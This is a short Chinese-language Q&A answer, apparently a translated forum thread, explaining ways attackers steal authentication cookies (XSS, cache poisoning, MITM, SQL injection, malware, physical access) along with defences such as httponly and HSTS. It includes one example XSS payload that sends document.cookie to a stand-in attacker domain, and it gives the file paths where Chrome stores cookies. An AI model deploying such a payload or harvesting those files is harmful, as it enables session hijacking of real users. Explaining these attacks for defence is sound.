我一直在阅读身份验证cookie的工作方式,我有一个问题,攻击者如何获得另一个用户的身份验证cookie? 谢谢!
答案 0 :(得分:0)
有许多攻击可用于发现身份验证cookie。
XSS攻击
例如,假设有人在您的网站上留下了以下内容作为评论
<script>fetch('hackersdomain.com?cookies=' + document.cookie)</script>
现在,任何加载您网站评论的人都会无意中将其cookie发送到黑客控制的域中。
这就是为什么仅在创建身份验证cookie时将httponly设置为true的原因。 httponly选项将阻止JavaScript访问cookie。
缓存中毒
通过反复加载网站,最终您将使该网站缓存您的请求之一。如果您的请求中包含带有XSS攻击的标头,并且该标头被输出到页面,则您可以成功进行XSS攻击,并获得所有人的cookie。
MITM
如果您可以在中间攻击中扮演男人,则可以获取Cookie。如果某人正在使用公共WiFi,并且他们能够在连接升级到HTTPS之前截获初始HTTP请求,则会发生这种情况。使用HSTS减轻这种情况发生的能力。
利用漏洞来获取服务器访问权限
哦,你有个严重的问题。
恶意可执行文件/网络钓鱼
如果可以让用户下载并运行程序,则可以窃取其所有cookie。在Windows上,它们存储在%LOCALAPPDATA%l\Google\Chrome\User Data\Default
的SQLite数据库中,在Linux / Macs上~/.config/google-chrome/Default/Cookies
上存储。
SQL注入
如果黑客找到将某些东西注入数据库的方法,他们可以直接将我们的恶意XSS攻击添加到数据库中。
物理访问权限
如果您在短时间内可以物理访问某人的计算机,则很容易从Chrome开发工具中获取身份验证cookie。